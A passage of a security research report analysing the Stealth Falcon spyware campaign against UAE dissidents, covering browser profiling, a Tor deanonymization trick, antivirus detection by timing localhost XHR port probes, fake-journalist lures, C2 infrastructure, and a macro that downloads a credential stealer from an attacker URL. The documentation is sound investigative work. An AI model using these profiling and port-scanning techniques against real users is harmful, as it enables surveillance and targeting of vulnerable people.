Browser Pro ling While aax.me has a public interface where anyone may shorten a link, aax.me only conducts browser pro ling of individuals who click on links that are specially shortened by Stealth Falcon operators. In November 2015, when we accessed the link in the second email that Donaghy received, http://aax.me/a6faa, we found that it redirected directly to https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate via an HTTP 302 redirect. When we accessed the link in the rst email that Donaghy received, http://aax.me/d0dde, the server responded with the following page:



Loading the website:
http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights151103070038237.html.
This may take a few seconds.
The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds.19 However, the URL is incorrect: the last character of the lename should be a "1" instead of a "7". Therefore, an Al Jazeera 404 page is returned instead of the oped. It is possible that the use of "7" instead of "1" represents a transcription error on the part of the operators. When we accessed this same aax.me URL in March 2016, it redirected directly to the Al Jazeera URL (with typo) via an HTTP 302 redirect. The iframe, http://aax.me/redirect.php, reloads itself with a parameter "inFr" in its query string, to indicate whether the page has been opened up inside a frame. If the page has not been opened up inside a frame (inFr=0), then a blank page is returned. If the page is opened inside a frame (inFr=1), as is the case here, then the following page is returned (we ommitted the PHPSESSID value):
We examined the referenced JavaScript le, http://aax.me/redirect.js. The le is designed to pro le a user's system, perhaps to gather intelligence about potentially exploitable vulnerabilities. The le has apparently not been updated since 7 May 2013,20 rendering some of the probing obsolete. We enclose the le's full contents in Appendix C: JavaScript Pro ling File. The pro ling performs the following actions: For Internet Explorer, it attempts to create several instances of ActiveXObject to get the versions of Flash, Shockwave, Java, RealPlayer, Windows Media Player, and Microsoft Of ce (classi ed as either 2003, 2007, or 2010). For non-Internet Explorer browsers, it attempts to get a list of enabled plugins from navigator.mimeTypes. For all browsers, it captures the user agent, whether cookies are enabled, the OS, the size of the browser window, and the timezone. It classi es browsers into different versions, denoted by letters, based on the existence and behavior of certain JavaScript methods. The script attempts to exploit an information leak in older versions of Tor Browser. We explore the technique used in Section 3.5. For Windows browsers (except Opera, and versions of Internet Explorer before IE9), it sends a series of XMLHttpRequests to 127.0.0.1, which we believe are designed to deduce if the computer is running any one of several speci c antivirus programs. The code for this appears to be borrowed from the JS-Recon port scanning tool.21 The creator of JS-Recon presented the tool at BlackHat Abu Dhabi in 2010.22 We explore such techniques in more detail in Section 3.6. We were unfamiliar with the website aax.me, so we investigated it further. We found that the main page of aax.me purported to be a public URL shortening service, powered by YOURLS,23 an open source PHP framework allowing anyone to set up their own URL shortening service. We are unable to ascertain whether the site actually uses any YOURLS code. We also noted that the homepage contains a typo ("Shortend [sic] URL"). Figure 6: Homepage of aax.me We shortened a URL using the homepage, but found that clicking on the shortened URL did not trigger the loading of the intermediate page, http://aax.me/redirect.php. We also did not nd the code for redirect.php or redirect.js in the public code repository for YOURLS.24 Thus, we deduced that this code was likely specially written by the operators, and the link sent to Donaghy was likely created by someone with administrator access to aax.me. 3.5. Technical Analysis: aax.me Tor Deanonymization Attempt The aax.me site appears to attempt to deanonymize users of Tor Browser. While the technique the operators used was out-ofdate at the time we observed the attack, the attempted Tor deanonymization speaks to their motivations and potential targets. The script rst detects Tor Browsers by checking whether navigator.buildID is set to zero (all testing was conducted on English, Windows builds of Tor Browser). Versions of Tor Browser before 2.3.25-12 (released on 13 August 2013) had their buildID set to zero. This behavior was originally introduced in TorButton,25 in support of the goal of making Tor users appear homogenous.26 Current Tor Browser versions have navigator.buildID set to a different distinctive value, 20000101000000. When the script detects a Tor Browser, it attempts to deduce the version of Tor Browser by checking for the existence and behavior of certain JavaScript methods. Once a browser is determined to be older than a certain version of Tor Browser, the script exploits a now- xed bug to get the disk path of the browser installation.27 The disk path may contain the target's username, which may include the target's real name. The bug in Tor Browser was rst disclosed at Defcon 17, which took place in August 2009.28 The bug was rst xed on on 25 May 2012 in Tor Browser release 2.2.35-13.29 The bug was, however, later reintroduced into Tor Browser on 18 December 2013 with the release of Tor Browser 3.5, and subsequently xed again in Tor Browser 3.6 on 29 April 2014.30 However, unfortunately for the operators, they failed to update their pro ling script to re ect Tor Browser's navigator.buildID change (before the bug was reintroduced). Thus, the pro ling script did not detect Tor Browsers with the reintroduced bug as Tor Browsers, so it did not try to exploit them. Even if it had been updated to re ect the navigator.buildID change, the version check in the Tor Browser exploitation code would also have to be updated to select the versions with the reintroduced bug for exploitation. The version of Tor Browser (as determined by JavaScript checks) is submitted back to the server, along with the value of navigator.oscpu (which reveals the version of the OS on which Tor Browser is running - e.g., the latest version of Tor Browser on OSX El Capitan reveals: "Intel Mac OS X 10.11"), navigator.vendor (which appears blank in the latest Tor Browser), and any data gathered about the installation path. 3.6. Technical Analysis: aax.me Antivirus Pro ling Interestingly, aax.me also attempts to determine the presence of various antivirus products on a target's machine. We expand on the probing of antivirus programs which we observed on aax.me, as we were unfamiliar with this technique. The technique appears to work on any modern version of Windows, with the latest versions of Chrome, Firefox, and IE/Edge (though, the pro ling script excludes IE versions less than IE9 from the pro ling, using the vertical tab test).31 Speci cally, the script conducts GET XMLHttpRequests (one at a time) to 127.0.0.1/ on the following ports: 12993, 44080, 24961, 1110, 6646, 6999, 30606. The script stops conducting these requests if it nds one request whose readyState is set to 4 less than 20ms after the request was initiated (200ms for port 6646), and submits the number of this port to the server. The latest versions of Internet Explorer/Edge, Chrome, and Firefox (except Tor Browser) will all perform these XMLHttpRequests to 127.0.0.1 on behalf of any site. Of course, the result of such a request will most likely not be available to the script, due to the same-origin policy, and likely absence of a CORS32 header in the response. Indeed, the script does not attempt to read the results of its requests. Rather, it leverages the fact that the web browser makes the status of the request sent available, via the readyState parameter of an XMLHttpRequest instance (1 approximately represents TCP SYN sent, and 4 represents HTTP response received or TCP connection terminated). For a closed port, Windows will issue an RST/ACK for each SYN sent. However, it appears that Windows' TCP stack will not consider an outgoing connection it is initiating to be terminated until it has sent 3 SYNs, and received three corresponding RST/ACKs (or timeouts). Figure 7: Three RST/ACKs required until Windows considers outgoing TCP connection terminated When testing with a TCP connection from Windows to a remote host, we can clearly see that Windows transmits the second SYN ~500ms after the rst RST/ACK, and the third SYN ~500ms after the second RST/ACK. Figure 8: Windows sends the next SYN 500ms after the latest RST/ACK Thus, the readyState value for a request to a closed port on 127.0.0.1 will not be set equal to 4 until approximately 1000ms after the request is issued. In summary, one can use this technique to distinguish between a closed port (readyState set to 4 at around 1000ms), an open port (readyState set to 4 before 1000ms), and a ltered port (readyState set to 4 long after 1000ms). This script was apparently designed to detect the presence of certain components of Avast, Avira, ESET, Kaspersky, and Trend Micro antivirus products. We were not able to determine which program the probing of port 24961 was designed to detect. We veri ed that the latest version of Avast can be detected by this script, as it opens TCP port 12993, which is associated with its Mail Shield component for scanning email traf c; port 6999 is opened by Trend Micro's tmproxy33 which scans web and email traf c; port 1110 is used by Kaspersky34 to scan web and email traf c; it appears that Avira's Web Protection component for scanning web traf c used to open port 44080,35 though we observed it opening 44081 instead; port 30606 appears to have been used by ESET to scan web and email traf c,36 but we did not observe this port open while testing the latest version of ESET; port 6646 may be used by McAfee, though we did not test this.37 The code for the port scanning appears to be adapted from the JS-Recon port scanning tool.38 JS-Recon is a generic tool that enumerates all open ports on 127.0.0.1 in a range; it does not speci cally target anti-virus programs. The scan_xhr and check_ps_xhr functions in the aax.me pro ling script are similar to the scan_ports_xhr and check_ps_xhr functions in JSRecon. The creator of JS-Recon seems to have rst presented the tool at BlackHat Abu Dhabi in 2010.39 Figure 9: Image from the author of JS-Recon showing how long WebSocket and XMLHttpRequest ("COR") connections remain in their initial readyState on Windows.40 Note that this technique can be generalized to any remote content timing side channel (e.g, the onerror event for an Image). Additionally, one can identify the presence of an open port on 127.0.0.1 that speaks HTTP without using timing information, and thus without the Windows TCP behavior assumption (e.g., by handling the onerror and oncomplete events of certain types of link elements). We are unsure whether the purpose of the antivirus pro ling is to identify potentially exploitable antivirus software running on a target's computer, or for evasion of antivirus products. In December 2015, Google Security discovered a critical vulnerability in Avast's antivirus product, which involved a webpage sending HTTP requests to a port that Avast opens on 127.0.0.1. Google Security demonstrated that the vulnerability allowed ex ltration of arbitrary les from a victim's disk.41 In January 2016, Google Security discovered a critical vulnerability in Trend Micro's antivirus product, which similarly involved a web page sending HTTP requests to a port that Trend Micro opens on 127.0.0.1. Google Security demonstrated that the vulnerability allowed arbitrary command execution. 4. The Case of the Fake Journalist In the course of our investigation we scanned the e-mail of journalist Donaghy and found evidence that he had been contacted by a ctitious journalist, whom we linked to Stealth Falcon. We scanned Donaghy's GMail account for any previous messages featuring links that redirected through aax.me. We identi ed the following message from December 2013, purporting to be from a UK journalist named Andrew Dwight: From: andrew.dwight389@outlook.com Subject: FW: Correspondence Request Greetings Mr. Donaghy, I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient. My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East. My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything but). I was hoping that I might correspond with you and reference some of your work, speci cally this piece (http://goo.gl/60HAqJ), for the book. I'm quite impressed with the way you articulate this complex issue for the masses, and hope to have a similar impact with my book. Happy New Year, Andrew The link in the email, http://goo.gl/60HAqJ, redirects to http://aax.me/0b152, which, as of December 2015, redirected to a 2013 Huf ngton Post blog post authored by Donaghy.42 We did not observe any redirect.php behavior with this link; as of December 2015, the aax.me link directly served an HTTP 302 redirect to the Huf ngton Post (we omitted the date header below). However, it is possible that the link formerly exhibited redirect.php behavior: HTTP/1.1 302 Moved Temporarily Date: Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1+lenny13 Location: http://www.huffingtonpost.co.uk/rori-donaghy/uae-94_b_3549671.html Vary: Accept-Encoding Content-Type: text/html We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in the UK. Andrew responded several weeks later with the following: From: andrew.dwight389@outlook.com Subject: RE: Correspondence Request Hello Rori, Happy New Year! I apologize for the delay in getting back to you. I was on a ski holiday in upstate New York for the New Year and just returned to my current accommodations in the city. I was due back sooner, but as you may know, the weather has not been agreeable here in the Eastern United States! I am currently situated in the US. while I complete my book to be closer to my publisher and editor. The book focuses on the various guises used by Middle Eastern countries to demonstrate that they are providing equal and fair treatment with concern to human rights. I am working with several organizations in identifying cases that reveal their true lack of concern for liberty and personal freedoms. I'm using these cases as testimony about this under reported issue. Have you heard of a Swedish organization named Al Karama? There website: http://en.alkarama.org/index.php?option=com_content&view=article&id=1005&Itemid=74&slid=102 I have spoken to one of their junior editors and I am hoping to obtain input from some of their sources as well. This issue never gets any smaller does it? I hope that a few loud voices (and a well received book) can make a difference. Cheers, Andrew While attempting to determine whether "Andrew Dwight" was a real person, we we found a Twitter pro le, @Dwight389 for the same persona, and that mentions the same address from which Donaghy received the email. Figure 10: Andrew Dwight's Twitter pro le, @Dwight389, mentioning the email address that corresponded with Donaghy in 2013, andrew.dwight389@outlook.com We found that this account messaged three UAE dissident accounts via Twitter mentions. While we were unable to establish if @Dwight389 successfully attacked any of these individuals, we pro le the targets below. 4.1. Another Target: Obaid Yousef Al-Zaabi This section describes how the fake journalist persona contacted Obaid Yousef Al-Zaabi, a blogger who was arrested for criticising the UAE. Figure 11: @Dwight389 contacted @bukhaledobaid on 24 April 2013 Obaid Yousef Al-Zaabi was arrested on 2 July 201343 for Tweeting about the UAE94 detainees (94 defendants prosecuted in a mass trial on charges of attempting to overthrow the government)44 on his @bukhaledobaid account, which displays his real name.45 He was released due to health problems a month later, but was arrested again on 12 December 2013,46 a day after talking to CNN47 about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video48 about "youth culture in Dubai".49 Al-Zaabi and Cassim were imprisoned in the same cellblock. Al-Zaabi was acquitted on 23 June 2014 of all charges including "slander concerning the rulers of the UAE using phrases that lower their status, and accusing them of oppression" and "disseminating ideas and news meant to mock and damage the reputation of a governmental institution," but, according to information received from two UAE sources, Al-Zaabi is still imprisoned in the prisoners ward of a hospital. A coalition of 13 human rights organizations including Amnesty International consider Al-Zaabi's ongoing detention to be arbitrary, and without legal basis.50 Amnesty International reported that "a senior State Security Prosecution of cial" told AlZaabi he would continue to be detained even if acquitted.51 Al-Zaabi's brother, Dr. Ahmed Al-Zaabi, is one of the UAE94 detainees and is currently serving a 10 year prison sentence. According to a report by the Gulf Center for Human Rights, Ahmed was tortured in prison: his ngernails were pulled out, and he was "beaten to the point he was left swollen, covered in bruises all over his body and with large amounts of blood in his urine".52 4.2. Another Target:Professor Abdullah Al-Shamsi This section describes how the fake journalist persona contacted professor Abdullah Al-Shamsi, Vice Chancellor of the British University in Dubai. Figure 12: @Dwight389 sent a message on 9 May 2013 suggesting he had targeted @shamsiuae58 Professor Abdullah Al-Shamsi (@shamsiuae58) is the Vice Chancellor of the British University in Dubai.53 He (Arabic name: )54 is signatory #79 (out of 133) to a March 2011 petition to the UAE government55 for direct elections56 (UAE activist Ahmed Mansoor was arrested after signing the same petition).57 Al-Shamsi's father ( ) was appointed to, and chaired the rst sessions of, the Federal National Council (FNC), a legislative advisory council that is now an elected body. He called for more powers to be given to the FNC.58 4.3. Additional Targets: Qatari Citizens Sentenced to Prison Figure 13: @Dwight389 contacted @northsniper on 7 November 2013 In May 2015, ve Qataris were sentenced (one present in the UAE to 10 years in prison, and four in absentia to life in prison), for posting allegedly offensive pictures of the UAE Royal Family on three Twitter accounts and two Instagram accounts,59 including @northsniper.60 At trial, the prosecution accused the ve of being agents of Qatar's State Security, and posting the allegedly offensive pictures as part of a "military mission" to "show that Emiratis had offended their own leaders".61 The @northsniper account is currently suspended. One Instagram account allegedly used by defendants in this case (@9ip) is still active, and still appears to display un attering photoshopped images of the President, Crown Prince, and Founder of the UAE.62 5. Stealth Falcon's Widespread Targeting of UAE Figures This section describes how we identi ed additional Stealth Falcon victims and bait content, and traced Stealth Falcon's spyware to additional C2 servers. Given Stealh Falcon's use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of aax.me links. The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently active short URLs, and their corresponding long URLs. Our ndings point to a UAE-focused operator, whose bait content and targets are linked to the Emirates. Furthermore, we were able to connect this attack to case from December 2012, where an anonymous UAE activist contacted us and claimed to have received a suspicious link from a Twitter account that was purportedly under government control. 5.1. Public Targets and Links to Arrests This section describes 24 Stealth Falcon Twitter targets we identi ed on the basis of them receiving an aax.me link in a Twitter mention. We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link. We were unable to get details about 17 of the accounts. Of the accounts we have been able to identify, several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities. The following table outlines these cases, and notes arrests. For completeness, the table includes the cases from Section 4.14.3: Handle Targeting Related Arrests / Convictions Note @omran83 14 January 201263 16 July 201264 (arrested) UAE94 prisoner; serving 7 years in prison.65 @weldbudhabi 5 August 2012;66 20 October 201267 14 December 201268 (arrested) @intihakat 5 August 201269 25 December 201370 (convicted) Qatari convicted in absentia; sentenced to 5 years in prison. @bukhaledobaid 24 April 201371 (Sec 4.1) 2 July 2013;72 12 December 201373 (arrested) Brother of UAE94 prisoner; acquitted of charges; inde nitely detained in prisoners ward of hospital. @northsniper (Sec 4.3) 7 November 201374 18 May 201575 (convicted) Five Qataris convicted; sentences ranged from 10 years to life in prison. @71UAE 9 January 201276 Last tweeted 1 July 2013, a day before arrest of @bukhaledobaid. @kh_oz 10 January 201277 Likely son of @bukhaledobaid.78 @shamsiuae58 (Sec 4.2) 9 May 201379 Signed 2011 pro-democracy petition that Ahmed Mansoor was arrested after signing. @newbedon 9 January 201280 Donaghy describes the account as "ensur[ing that] details of mistreatment [by security forces] are readily available".81 @bomsabih 9 January 201282 Inactive since 8 October 2014. Owner claimed liation with State Security Apparatus. We list additional details in Appendix D: Public Stealth Falcon Tweets. 5.2. Ennumerating aax.me for Bait Content This section describes how we probed every conceivable short URL on aax.me, and found 402 pieces of bait content that we believe were sent by Stealth Falcon. All of the public aax.me links we found, as well as the links sent to Donaghy, matched the regular expression /aax\.me\/[0-9af]{5}/. Assuming all links shortened via aax.me match this regular expression, there are only 165 (1,048,576) possible short URLs. We sent a request to aax.me for each possible URL, and observed the returned page or redirect. We found 57 URLs that exhibited the redirect.php pro ling behavior, and 524 URLs that returned an HTTP 302 redirect to an expanded URL. The other 1,047,995 aax.me links returned a HTTP 302 redirect to the aax.me homepage; we assume these short URLs were unassigned to an expanded URL, as of the time of our scan. We coded the long URLs where the URLs were still active, or where we could nd an archived copy of, or some information about, the URL. We were able to code 535 URLs, and failed to code 46 URLs as the corresponding websites were down, and we could not nd reliable information about what content the URLs contained. See Appendix E: Results of aax.me Scan for details. We coded 133 URLs as "advertisement" (25% of all coded URLs), as they appeared to represent an advertisement for a product. The vast majority of these advertisements seemed to be products typically marketed via spam (e.g., "dietary supplement" or "green coffee"). We suspect that these links may have been shortened by spammers, as the aax.me URL shortening page is pubilcly accessible and indexed by Google, and YOURLS advises that publicly accessible URL shorteners will receive spam.83 All "advertisement" links were 302 redirects, and none were redirect.php links. This is consistent with our observation that the aax.me public interface only permits visitors to shorten links using the 302 redirect method. ltered out the short URLs classi ed as "advertisement." There were 402 non-advertisement short URLs that we tagged. We display a summary of the top ten tags below: Number of Short URLs % of non-advertisement URLs Torture Security Forces Denaturalization 46 Isa bin Zayed Rule of Law Criticism ABC News Violations Islam We noted that a number of long URLs had multiple corresponding short URLs. We display the top ten long URLs below. Long URL Short Description URLs ABC News report featuring video of Abu Dhabi Crown Prince's brother, Sheikh Isa bin Zayed al-Nahyan, torturing an Afghani grain salesman. Personal website criticizing rule of law and human rights issues in the UAE, including torture, slavery, and imprisonment for debts. Copied statement from the Federation of Islamic Organizations in Europe (FIOE), criticizing the UAE's denaturalization of citizens. https://www.a7rarelemarat.com/vb Purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools. The site is now down, so we cannot inspect the speci forum posting. http://google.com Google. https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 (see a7rarelemarat above) http://www.youtube.com/watch?v=Xcc9Tdc_Hxg&feature=player_embedded#! Video montage talking about torture by UAE security forces. http://www.youtube.com/watch?v=F6NU4pc378k http://mohaamoon.com/uae/17.htm https://r7aluae2.wordpress.com/2012/01/09/ http://www.youtube.com/watch? v=izeSn9Am6us&list=UU2wwG6r1J_GRgXuMGi9m8FQ&index=1&feature=plcp Video unavailable. https://www.youtube.com/watch?feature=player_embedded&v=Q3aQpfyXSrg Video published by Al Islah, which appears to be a montage of UAE political detainees. https://www.a7rarelemarat.com/vb/forumdisplay.php?f=3 (see a7rarelemarat above) 5.3. A Connection to an Account Potentially Under UAE Government Control This section describes a case from December 2012 where an Emirati activist said he received links connected to aax.me from an account that may have been under UAE government control. In December 2012, an author of this report was contacted by an Emirati activist, who reported that an account, @WeldBudhabi, had sent him a link on 14 December 2012 via Twitter direct message that took him to a page on a7rarelemarat.com. A report by BBC notes that UAE authorities on 14 December 2012 arrested an individual who they believed to be associated with @WeldBudhabi, and that the account was "reportedly hacked by the authorities" on the same day.84 The Emirati activist told us that he later contacted @WeldBudhabi, who reported that he did not send the link. This link provides the strongest connection between Stealth Falcon and the UAE Authorities that we are aware of. a7rarelemarat.com is a now-defunct website that purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools for "hiding from the thugs" (presumably a reference to the UAE State Security Apparatus). We found four links involving aax.me posted by the site's Twitter account, @a7rarelemarat. We display two Tweets below, as the rest of the Tweets had the same links: Figure 14: @a7rarelemarat targeted @WeldBudhabi with a malicious link on 20 October 2012 Twitter's API records the date of the tweet's creation: Sun Oct 21 05:05:41 +0000 2012 We also accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than two minutes prior to the tweet: 2012-10-21T05:03:45.585+00:00 The second tweet exhibited a similar pattern: Figure 15: @a7rarelemarat publicly sent a malicious link on 2 October 2012 Twitter's API records the date of the tweet's creation: Wed Oct 03 06:54:33 +0000 2012 We again accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than one minute prior to the tweet: 2012-10-03T06:53:45.151+00:00 The link redirects to https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 via http://aax.me/d910a. The use of both goo.gl and aax.me in these cases suggests that the goo.gl link may have been designed to conceal the aax.me domain. Also, the proximity in creation time between the Tweet and the goo.gl link suggests that the person who posted the Tweet through @a7rarelemarat was likely the same person who created the goo.gl link. We suspect that the aax.me operator had some control over @a7rarelemarat at the time, and may have had control of a7rarelemarat.com as well. 5.4. Infrastructure Analysis of Stealth Falcon Command & Control This section describes how we traced Stealth Falcon's spyware to live C2 servers and domain names. ngerprinted the behavior of adhostingcache.com (the C2 server for the Stage One spyware that Donaghy received) and traced it to a series of 14 active IP adresses and 11 domains (using PassiveTotal85). Nine domains are named like generic Internet backend servers (e.g., simpleadbanners.com, clickstatistic.com), whereas two appear to be thematically related to travel (bestairlinepricetags.com, fasttravelclearance.com), perhaps indicative of travel-themed targeting or targets. ngerprinted the behavior of incapsulawebcache.com (the C2 server for the Stage Two spyware that Donaghy receied) and scanned the Internet (including historical scanning results86) for servers that matched our ngerprint. We also used Passive DNS to correlate IP addresses to domains. In total, we associated 67 active (and 30 historical) IP addresses with the Stage Two spyware. Using PassiveTotal, we linked 69 domain names to these IP addresses, the earliest registered on 28 January 2013, and the most recent registered on 19 April 2016. The vast majority of the domains are named like generic Internet backend servers. One domain name appears to be travel-themed (airlineadverts.com), and two appear to be news and/or government themed (ministrynewschannel.com, ministrynewsinfo.com). The earliest date we found an IP addresses matching our Stage Two ngerprint was 21 July 2014, as recorded by sonar-ssl scans. It is possible that the operator used a different con guration of spyware between January 2013 and July 2014. We traced several additional domains to Stealth Falcon using WHOIS information, or Passive DNS. Of these, one was designed to impersonate a China-based provider of VoIP solutions (yeastarr.com), and two appeared to perhaps contain the Arabic word for security, "amn," (amnkeysvc.com, amnkeysvcs.com). Full scan results and other indicators of targeting can be found in Appendix F: Indicators of Targeting. The domain names we found were typically registered with WHOIS privacy providers. Although, in some cases, we were able to obtain the true registration email through historical WHOIS. Typically, the operators practiced disciplined operational security: we rarely found an email address that was used to register two domains, and we rarely found two domains linked to the same IP address. 5.5. May 2016: New Stealth Falcon Document In May 2016, the following document was submitted to VirusTotal: Filename: MD5: SHA1: SHA256: message_032456944343.docm 87e1df6f36b96b56186444e37e2a1ef5 1c3757006f972ca957d925accf8bbb3023550d1b 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be The document was similar to the one sent to Donaghy, except that it purported to be encrypted with WordSecure, "a simple, HIPAA .. business-grade software for sharing encrypted les and secure messages with anyone".87 The bait content was a single line of text reading: MESSAGE_ERROR: 0E684AD042_(LANGUAGE NOT SUPPORTED) The document's macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt. The server optimizedimghosting.com matched our Stage One ngerprint for adhostingcache.com. We obtained Stage Two, which appeared to be a newer version of the Stage Two than in Donaghy's case. The Stage Two in this case reported back to https://edgecacheimagehosting.com/images/image.nfo. The server edgecacheimagehosting.com matched our Stage Two ngerprint for incapsulawebcache.com. When we connected, the Stage Two server sent us additional commands (which we were unable to obtain in Donaghy's case). The Stage Two C2 sent us a bundle of 7 commands, that did the following: 1. Gathered system info from WMI 2. Gathered the ARP table 3. Gathered a list of running processes 4. Materialized a le "OracleJavaUpdater.ps1" to disk. This le gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook. In general, the le appears to be bespoke attacker code, though some routines are copied from other sources (e.g., some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT88) 5. Executed "OracleJavaUpdater.ps1" 6. Deleted "OracleJavaUpdater.ps1" 7. Gathered a list of running processes again After command execution, results were returned to the Stage Two C2. 6. Tip of the Iceberg: Possibly Related Attacks We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the UAE. Reuse of tactics, techniques and procedures and general carelessness by operators can often lead to discovery of links between campaigns. We brie y discuss some instances of potentially related attacks below. 6.1. An Instagram attack? We noticed that one of the Twitter accounts that sent out aax.me links, @um_zainab123, solicited followers for an Instagram account @al7ruae2014. Figure 16: @um_zainab123 soliciting followers for Instagram account @al7ruae2014 on 26 April 2014 Figure 17: The @al7ruae2014 Instagram account We contacted an activist with knowledge of the UAE94 case, who told us that the @al7ruae2014 Instagram account got in touch with several family members of detainees involved in the case, and was soliciting information from them via Instagram private message. The domain name al7ruae2014.com has the same name as the Instagram account, so we suspect it may also be related to the operator. 6.2. A fake le sharing site? We identi ed one aax.me link (http://aax.me/4b708) that points to http://velocity les.com/download.php? id=a81abdd8a0c0cd1d5d3b6baadcc9eb18. We visited this link in February 2016, and were served a blank page. VelocityFiles appears to have been disabled in March 2016. We found that the site purported to be a le hosting site, where users could register and upload les. However, the registration and signup pages are currently blank, and were blank as of the Internet Archive's oldest capture of the pages in December 2013.89 We were unable to identify any links to velocity les.com from Twitter, or any pages indexed by Google. The design of VelocityFiles appeared to be a loosely modi ed version of a public website design template.90 Given that the site appears to be designed to pose as a public le sharing service, has no obvious public functionality, and was linked to through aax.me, we suspect that it may have been an attack site. Figure 18: Comparison between web design template image (left) and VelocityFiles website (right). Given VelocityFiles' reference to "FREE MD5 HASHING" (their emphasis), it is possible that the value of the id parameter in the URL, a81abdd8a0c0cd1d5d3b6baadcc9eb18, represents the MD5 hash of a le. We were, however, unable to locate any le with this MD5 hash. 6.3. Fake web forums? We found an aax.me link91 that pointed to https://call4uaefreedom.com/vb. The domain was registered on 5/15/2013 and expired on 5/15/2015. We were unable to nd any webpages or tweets linking to this website. A Google search for "call4uaefreedom" reveals a blog, containing ve posts, all within a 30 minute span on 4 June 2013, and an empty Twitter account @call4uaefreedom, created in May 2013. Given the suspicious activity associated with the alias "call4uaefreedom," this may have been created by operators. While searching for domains with similar domain names, we came across uaefreedom.com. The domain name was registered on 11 June 2010 by the administrators of UAE Hewar,92 an online discussion forum founded in 2009 that was a frequent government target. The domain name expired on 11 June 2011, but was re-registered by a different registrant on 7 October 2012. On 16 October 2012, we nd the only tweet linking to uaefreedom.com. A Google search yields no links to the site and we found no passive DNS data available for this domain. The tweet was sent from account @FreeUAE2012, directed at @uaemot. An individual based in Qatar was convicted in absentia on 25 December 2013 for running @uaemot.93 Figure 19: @FreeUAE2012 contacts @uaemot with a suspicious link on 16 October 2012 Other public tweets involving @FreeUAE2012 included two responses94 from Ahmed Mansoor to @FreeUAE2012 on 10 October 2012, regarding the 10 October 2012 Citizen Lab report about how Ahmed Mansoor was targeted with Hacking Team spyware. The tweets from @FreeUAE2012 to which Ahmed Mansoor was responding appear to have been deleted. Three days later, @FreeUAE2012 attempted to convince Ahmed Mansoor that Tor Browser logged private information of its users, posting a screenshot of the Tor Metrics page, which provides non-sensitive data for researchers.95 Figure 20: @FreeUAE2012 attempts to convince Ahmed Mansoor that Tor logs private information of its users 7. Attribution In this section, we analyze two competing hypotheses about the identity of Stealth Falcon, and conclude that the balance of evidence suggests Stealth Falcon may be linked to the UAE government. Hypothesis 1: Stealth Falcon is State Sponsored Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques against a potential target. The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns against UAE dissidents, starting in January 2012. While there is no "smoking gun," several pieces of evidence suggest a connection between Stealth Falcon and the UAE Government. UAE Focused Targeting, Links to Arrests The majority (73%) of bait content on aax.me was focused on UAE-related political issues (Section 5.2). Furthermore, of the 27 victim Twitter accounts we linked to public Stealth Falcon targeting, 24 primarily engaged in political activities, or were otherwise critical of the UAE government (Section 5.1). Of these 24, we were able to nd a subsequent arrest or a conviction in absentia by the UAE government. Tweets During a Period of Government Control A reported case in which a Twitter account apparently under UAE Government control shared a Stealth Falcon link also suggests a connection. In December 2012, an activist contacted us and asserted that an a7rarelemarat.com link was sent to him in a private message from the @WeldBudhabi account the same day that an individual accused of operating the account was arrested, and while the account was "reportedly hacked by authorities".96 The activist asserted that he contacted an owner of the account, who claimed he did not send that link. The Twitter account associated with a7rarelemarat.com, @a7rarelemarat, appears to have been under the control of Stealth Falcon at some point during October 2012 (and possibly before and after), as the account sent several aax.me links in October 2012. Sophisticated Target Knowledge and Operational Security Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets' behaviors. In addition, Stealth Falcon displayed above-average operational security throughout the campaign. Some of the social engineering was highly intricate, particularly the email from Andrew Dwight about his ski holiday. Stealth Falcon also shows familiarity with creating and maintaining a range of ctitious personas, and registering and managing a signi cant amount of attack and C2 infrastructure with concern for operational security. The infrastructure behind the malware attacks showed good compartmentalization of identities. We rarely found the same (fake) registration information used for more than one C2 domain. Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed. We also noted that the (self-signed) SSL certi cates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart ngerprinting of their infrastructure via SSL certi cates. This level of sophistication is consistent with a state sponsored attacker. Importantly, we found little evidence that indicate criminal or other motivation for the attack, with no evidence of nancial or industry targeting. We also note that while some Stealth Falcon domains were registered on anonymousbitcoindomains.com, which is linked to APT28 activities, we found no evidence to support such a connection. See Appendix G: No Evidence of APT28 Connection for more details. Hypothesis 2: Stealth Falcon is Not State Sponsored We have considered the possibility that Stealth Falcon's operators are not state sponsored, but ultimately nd little evidence to support this possibility. Stealth Falcon's attacks show no evidence of cyber criminal motivations, like nancial theft or fraud, nor is there any evidence of attempts to steal intellectual property or conduct other forms of economic espionage. Instead, the targets are politically engaged individuals and public gures. Furthermore, the activity of targets we have been able to identify often concerns domestic UAE issues. Therefore, we would need to posit an operator with an interest in individuals known for their engagement in domestic UAE issues. Other potential motivations might 